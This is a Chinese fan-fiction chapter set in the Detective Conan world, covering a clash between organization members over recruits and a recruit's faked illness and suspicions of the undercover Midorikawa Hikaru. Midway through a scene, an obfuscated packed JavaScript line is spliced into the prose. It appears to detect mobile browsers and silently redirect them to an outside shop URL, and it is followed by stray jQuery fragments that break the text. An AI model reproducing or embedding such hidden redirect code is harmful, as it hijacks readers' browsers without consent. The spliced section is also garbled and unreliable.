组织某处联络点内。
琴酒坐在黝黑的沙发上,帽檐的阴影遮住他上半张脸,只露出线条冷硬的下颌和透着冷冽的银色长发。
指间香烟明明灭灭,他抬手深吸一口,缓缓吐出烟雾。那双锐利得能刺穿人心的墨绿色眼睛,隔着烟雾挑衅地看向旁边那人。
“朗姆,你在教我做事?”
被称作朗姆的独眼男人表情未变,话语却丝毫不让:“我只是在说实话。组织前段时间人手损失过多。行动组的效率,变慢了。”
琴酒弹掉香烟上多余的烟灰,不屑道:“损失的不过是些可有可无的废物。倒是朗姆,你给的情报越来越差劲了。要不要我帮你物色几个情报员?”
贝尔摩德一手撑着侧脸,另一手端着高脚杯,轻轻晃动着猩红的酒液,饶有兴致地看两人针锋相对。
朗姆冷哼一声,双手抱胸靠在椅背上,俯视着对面:“情报组的事你少插手!倒是听说,行动组刚加入的新成员,一个比一个差劲。哦,还有个什么都不会的!”
朗姆嗤笑一声,讽刺道:“这样下去,我看行动组也没必要存在了,不如并入我们情报组吧。”
琴酒将香烟狠狠摁灭,修长的双腿交叠,右手搭在沙发上,同样俯视着对面:“行动组的事我自会向BOSS负责。但是你,上次情报出错,损失一大笔军火的事,你怎么跟BOSS交代?”
朗姆面容一僵又迅速掩饰过去:“你还是关心一下,行动组下个任务会不会失败吧!”说完没有交谈的想法,起身离开。
贝尔摩德缓缓品尝着红酒,目送朗姆背影消失才放下酒杯,调侃道:“怎么,朗姆如果答应了,你还真有情报员送他?”
琴酒勾起一边嘴角,冷嘲道:“只是收了个情报贩子而已。送他?哼,做梦比较快!”
贝尔摩德认真打量他的表情,笑道:“看来,你挺看好那个情报贩子。”
琴酒倒没否认,只是道:“还待考察。”
贝尔摩德倒也不是很在意一个情报贩子,转而问道:“那个什么都不会的新人是什么情况?我记得负责考核新人的是山口吧。”
贝尔摩德轻轻敲着桌面:“按照那家伙的性格,这种人早就当场处死,或者直接扔到国外当耗材了。”
说起这个,琴酒当即闭嘴不言,脸上闪过一丝不悦。
贝尔摩德挑眉,倒是真的有几分兴趣了。
一直静默的伏特加适时说道:“山口说对方‘爬·床上位’,当场就勾搭上了最强新人。”
他搓了搓手臂冒出的鸡皮疙瘩,显然极其不适应这种男男上位话题。
伏特加撇撇嘴:“山口说,为了帮助小情人,那个绿川光说不定会表现得更加优秀。能一个人当两个用呢!”
贝尔摩德嘴角微勾,纤细的食指轻轻抚摸着光滑的杯口:“哦,原来新人是个小美人啊。不过,山口怎么确定会表现的更加优秀?而不是两人一起……沉沦?”
说到最后,她的声音勾起个暧昧的弧度。
伏特加当即脑补出一些不可描述的男男场景,嫌弃地打了个冷颤。
琴酒黑着脸警告:“贝尔摩德!”
两人仿佛被什么创到了!
贝尔摩德见状倒是笑意更深,也有兴致多问几句:“那个最强新人有多强?”
伏特加想起山口的评估,正色道:“枪法、身手都相当出色。”
贝尔摩德挑眉:“哦?”
伏特加回忆道:“三发子弹,三发十环。格斗时虽然只出手一次,但其出招的姿势,行动的干脆利落,以及那份爆发性都证明——他的身手绝非一般。用山口的话说,或许能跟琴酒大哥比试一二。"
“当然,这点我是不认同的!”伏特加迅速反驳,“琴酒大哥才是最厉害的!”
贝尔摩德倒是真的有些惊讶了。山口作为组织资历最深的考核官,眼力是毋庸置疑的。
那个绿川光即使不如琴酒,在组织里也算优秀了。说不定,未来能拿到代号呢。
伏特加帮大哥正名后再次说道:“那家伙好像还擅长狙击。不过山口那里不方便精确测试,具体狙击能力如何还有待考证。”
他话头一转:“当然,肯定是不如琴酒大哥啦!”
贝尔摩德忽略掉伏特加的唯粉发言,调侃道:“琴酒,倒像是给你的行动组量身定制的呢。”
琴酒淡淡扫了眼贝尔摩德,起身简单整理着帽子:“哼!要是真能用,调过来也无妨。要是个被美色所迷的废物,就送他们去地下继续当情侣。”
“当然,这一切的前提是——那不是老鼠。”
琴酒迈步离开,皮鞋与地板的碰撞声在安静下来的房间里被无限放大,冰冷、均匀又不容置喙。
伏特加急忙跟上。
*
车子在均匀行驶着,栗原看着不断倒退的风景,心脏却扑通扑通跳得渐渐失衡。
不能去医院啊!!会暴露的啊!!
栗原紧紧握着左手腕上的银镯,大脑疯狂转动。
他用力闭眼又睁开,眼睛瞬间湿润起来,整个人都变得可怜兮兮的。
栗原看向绿川光,小心翼翼道:“哥,可不可以不去医院?”
绿川光侧头看他一眼,不解道:“为什么?”
“哥,你不知道。”栗原深深叹口气,语气低落又悲伤,“我从小体弱多病,三天两头跑医院。各种检查、各种针、各种药试了一遍,受了一堆罪身体却没好。”
“后来,我就有了心理阴影。每次见医生我都心跳加速,手抖腿软,没病也能吓出两分病来。”
栗原双手合十,可怜兮兮道:“这种小毛病,我、我休息一下就好了,真的!根本不需要去医院!”
绿川光眉头微皱,思考片刻道:“可你刚刚都吐血了,怕是伤到了内脏。还是去看看吧。”
栗原:啧,用力过猛了!
“我这会儿感觉好多了,真的。”栗原的眼泪开始不停往下流,身体也配合地抖了抖,“哥,我好害怕呀,医院那种冷冰冰的地方,我宁愿死在臭水沟,也不要去哪里。”
“哥,球球你了~”
那声音那神态过于排斥,让绿川光有些迟疑,车速也越来越慢。
心理伤和身体伤,哪个更严重?
栗原夏生提起的心渐渐放下。
为了打消绿川光的念头,他又道:“哥,我的身体没太大的毛病,就是有点弱,需要精心地养着。回头好好补补就好了。”
绿川光闻言沉思片刻,靠边将车子停下。
栗原顿时心中的雀跃,提议道;“谢谢哥!我们还是先去安全屋好好休息一下吧!忙一天了!”
在栗原的期待中,绿川光摇摇头:“我想了想,还是决定带你去医院。”
栗原夏生的心,“啪叽”一下凉了。
绿川光面带不忍,却仍道:“我想了想,心理阴影确实很严重,可你的身体更重要。”
栗原正要说话。绿川光却打断他,坚定道:“你放心,我会一直陪着你,看着你,你不是一个人,你没有那么无助。”
不是一个人?
栗原眼神黯淡一秒,一个陌生人,在胡乱说些什么啊?
他自嘲一笑,还没想说什么,车子已经缓缓启动。
车内一时陷入寂静。栗原靠在车窗上,握着银镯,冷冷地看着外面车水马龙。
绿川光扫了眼栗原,暗暗叹了口气。
他说谎了。
若只是个普通人,他会建议,但不会坚定地违背对方意愿。
但这次,他想要借机确定一下栗原的真实身体情况。
在他只用一分力的情况下,居然会伤到吐血?这是真的吗?
还是说栗原在刻意伪装?
如果是伪装,那又是为了什么接近他?
还有那只银镯,栗原时不时就会摸它,那真的是银镯吗?
绿川光心头各种思绪闪过,目光也渐渐落在车外。
男女老幼交织而过,或急促或沮丧或欢欣或悠哉,形形色色又都是普通人的生活。
他进入那种地方,就是为了维护普通人的普通生活啊!
但组织的阴影无处不在,他不能放任任何疑点——尤其是一个组织的人。
绿川光仿佛又回到对着樱花宣誓的那天。
——为了群众,为了光明,他必须先做一个恶人。
绿川光余光注视着栗原,下定决心。
如果真的是误入黑暗的小羔羊……他发誓,只要不死,一定帮他脱离组织!
栗原夏生不知道绿川光的想法,他在疯狂翻着空间里的东西。
完蛋完蛋!要暴露了啊啊啊!
会被针对被质问的吧!说不定还会被送到牢里蹲啊!
不行!还是先下手为强吧!
两米长的狼牙棒?
不行!还没举起来就被撂倒了。绿川光那腿,快得很!
绳子?
不行,理由同上。
麻醉剂?
正疯狂翻找着,车子“吱”得一声停下。
绿川光解开安全带,然后绕到副驾驶打开车门,完全不给拒绝的机会,直接俯下身帮忙解安全带。
栗原只觉眼前突然一暗,随即一股温热的气息笼罩过来。两人的距离近到栗原不用垂眼就能看清对面那张白皙俊秀的脸。
绿川光射击时沾染的硝烟已经散去,一丝淡淡的气息飘进鼻腔,如同冬季雪后的山林。
栗原呆愣片刻,突然伸手抱住绿川光,手掌贴在那结实的后背上。
绿川光浑身一僵,却突然听到栗原有些低沉的声音:“哥,你知道吗,你是我见过最好的人。”
绿川光认真听着,没有感受到任何恶意,继续去按安全带的卡扣。
而就在这时,栗原的左手已悄然从空间中取出麻醉针。
栗原的视线落在眼前白皙的脖颈上——只要扎进去,即使是警校组也会一头栽倒。
栗原抱着他,口中低声喃喃:“所有人都嫌弃我身体差,父母也一样。很多次,我都是一个人去冷冰冰的医院,跑上跑下。可你却不同……你说,我不是一个人。”
我真的很想相信。
栗原左手飞快靠近,在他看不到的地方,绿川光突然瞪大双眼,浓重的危机感刺得他头皮发麻,浑身的触感发挥到极致。
绿川光眼神一冷,迅速抬起手。
栗原看着针尖的冷意几乎要触及皮肤的温度,脑中却不由得想到:这样真的好吗?
放倒绿川光之后呢?怎么生存下去?
彻底倒向组织,举报一大波卧底来换取升职加薪的机会?
如果没见过绿川光,或许可以。
栗原嫌弃的翻个白眼:算了!爱咋咋地!
就在栗原收回麻醉针的同时,绿川光已经反手握住他举起的手腕。
两人同时心中一惊,不约而同侧头。
两人几乎脸贴着脸,视线交汇,呼吸交缠,车厢里的氛围顿时凝滞。
栗原受不了这有些暧昧的氛围,慌乱地移开视线。
绿川光瞳孔震颤,又飞快掩去。他扶着栗原的后背将人抱出车,放到地上后,然后揽住他的左肩。
控制住哪个给他带来危险的地方。
饶是绿川光,心中也一阵后怕:刚刚栗原手中绝对有什么“利器”,只是他没能发现!
是那只银镯,还是什么?
栗原夏生感受着左肩传来的巨大压力,心脏都快跳出来了。
我勒个去!这绿川光反应也太快了,差点就被抓个正着啊!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135706|196266||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两人突然对上视线,又齐齐露出个假笑。
嘶,太危险了!
*
医务室内,栗原死鱼一般瘫在绿川光怀里,双眼放空,静静等待医生宣判。
绿川光放松身体让栗原靠得更舒服,然后认真地等待医生宣判。
医生举着报告,时不时抖动两下。两人的心也跟着抖动两下。
沉默片刻,医生终于开口:“这位先生本身有些营养不良,加上长期过度劳累,免疫能力下降,身体素质过低了……”
栗原夏生耳朵猛地竖起来:哎?有转机?!
绿川光眉头紧蹙:真这么弱?
医生继续说着:“看报告有些心律不齐,不过没有大碍;不过低血压低血糖、略微贫血这些也不可忽视……”
医生的脸色越说越严肃,栗原越听越精神。
妙手回春啊神医!
绿川光深深看了眼栗原夏生,追问:“医生,他的内脏有没有破损?”
栗原的心又提起来。
医生严肃道:“有轻微内膜毛细血管破裂迹象,可能源于剧烈撞击或应激反应,但脏器本身没有结构性损伤。结合他的整体状况,当前最要紧的是调理体质,避免再次发生。”
栗原眼睛都亮了。虽然身体差到出乎他意料,但……好事啊!
医生还在叮嘱“家属”后续的调养工作,栗原却悄悄打量着绿川光的神色:不知道他信没信。如果信了,会不会嫌麻烦,要丢开他不管了?
绿川光认真听着,没有一丝异样,最后还恭敬地鞠躬道谢:“我知道了,谢谢医生。”
绿川光扶着沉默的栗原夏生走出去,排队,缴费,取药,没有一丝不耐烦。
栗原夏生的心稍微安定下来。
走出医院大门,绿川光扶着他一步一步下阶梯,神态认真,没有丝毫不耐烦,就像每个陪同病人的家属一样。
不,比很多家属都贴心、在意。
栗原心中一动,突然撒着娇问道:“哥,你怎么对我这么好啊~我快感动得要哭了。”
绿川光则暗暗叹了口气,这人有很多问题,目的也不明……但,他确实给他造成了伤害。
……虽然,这份伤害到底是意外还是刻意算计都说不清。
现在,还是好好尽个责任吧。
顺便近距离接触,摸一下底。
绿川光声音柔和了些:“我应该做的,你不用放在心上。”
栗原撇嘴,对这个回答有些不满。
于是,他突然身体一歪,往绿川光怀里倒去:“诶呀,哥,我有点腿软~”
绿川光看着那浮夸的演技,停顿片刻,在栗原栽倒前还是伸手接住了他。
栗原靠在他怀里,得意一笑。
*
经过一番折腾,两人回到新家——组织分配的安全屋时,已经接近傍晚。
打开房门,就见玄关摆着白色的鞋柜,旁边是一面接近两米的穿衣镜。往里走是三室两厅的布局。
客厅横放着一排沙发,沙发前是简单大方的矮桌;餐厅是整齐的餐桌椅子;三间卧室都放好了床铺与衣柜。
栗原缓缓走动着,四处看来看去,不由感叹着组织财大气粗,入职直接分房。
绿川光则像个贤惠的妻子,撸起袖子就打扫卫生。
栗原坐在最先清理好的沙发上,扶着胸口虚弱道:“我帮你吧?”
绿川光看着他屁股都没挪动一下,显然心不诚,干脆摇头:“不用,你歇着吧。”
然后,栗原就美滋滋地瘫在沙发上,时不时冒出一句彩虹屁。最后还是绿川光无奈地塞给他一块糖,才堵住那张嘴。
房间打扫好,绿川光又马不停蹄地走向玄关。
栗原一下子坐起来,捧着心脏脆弱地道:“哥~你去哪儿?你要丢下我吗?”
绿川光脚步一顿,转身扫过他苍白的脸与捧着右边“心脏”的动作,叹气。
怎么演得越来越浮夸了?
绿川光无奈道:“我去买菜,待会儿回来。”
“哦!吓我一跳。”栗原收回手,扬起笑脸,“哥你早点回来哦~记得有人在家等着你呢。”
绿川光神色复杂地看他一眼,点点头:“你乖乖等着。”
*
大门关上,绿川光的身影消失,栗原立刻精神奕奕地爬起来。
刚要点开智能AI,又突然想起什么,缓缓走进洗手间。
栗原仔细查看一番,没看到什么可疑的东西。于是启动AI,一个虚拟屏幕迅速展开。
想了想,又从空间里掏出一个小板凳,坐好,开始打字。
如果绿川光在这儿,肯定要怀疑人生。
栗原点着虚空屏幕哐哐打字:“小AI,扫描一下,有没有监视器、窃听器之类的。”
AI在屏幕上转了一小圈,很快扫描完毕,虚拟屏幕上“歘”得亮起刺眼的红色光点。
还真有啊!
栗原顺着标记一一对照:插座、顶灯、椅子下、厨房……还有最后一个——栗原的后衣领!
栗原的呼吸骤然停滞,一股寒意从尾椎骨直窜上天灵盖。他猛地捂住后衣领,仿佛那不是窃听器,而是一枚即将引爆的炸弹。
房间内的监视器与窃听器存疑,但他身上的窃听器却指向频繁接触的那个人。
——绿川光!!!
栗原当即捏紧了拳头。
偷听是吧?!来!
*
夜幕降临,行人渐稀,只有清冷的月光与散落的星星俯视着这片大地。
绿川光静静靠在墙边,拉长的影子孤单地落在地上。
一阵卷着落叶的秋风掠过,带来阵阵寒意,也让耳机的接收信号出现一丝杂音。
他戴上兜帽,顺手调整着耳机。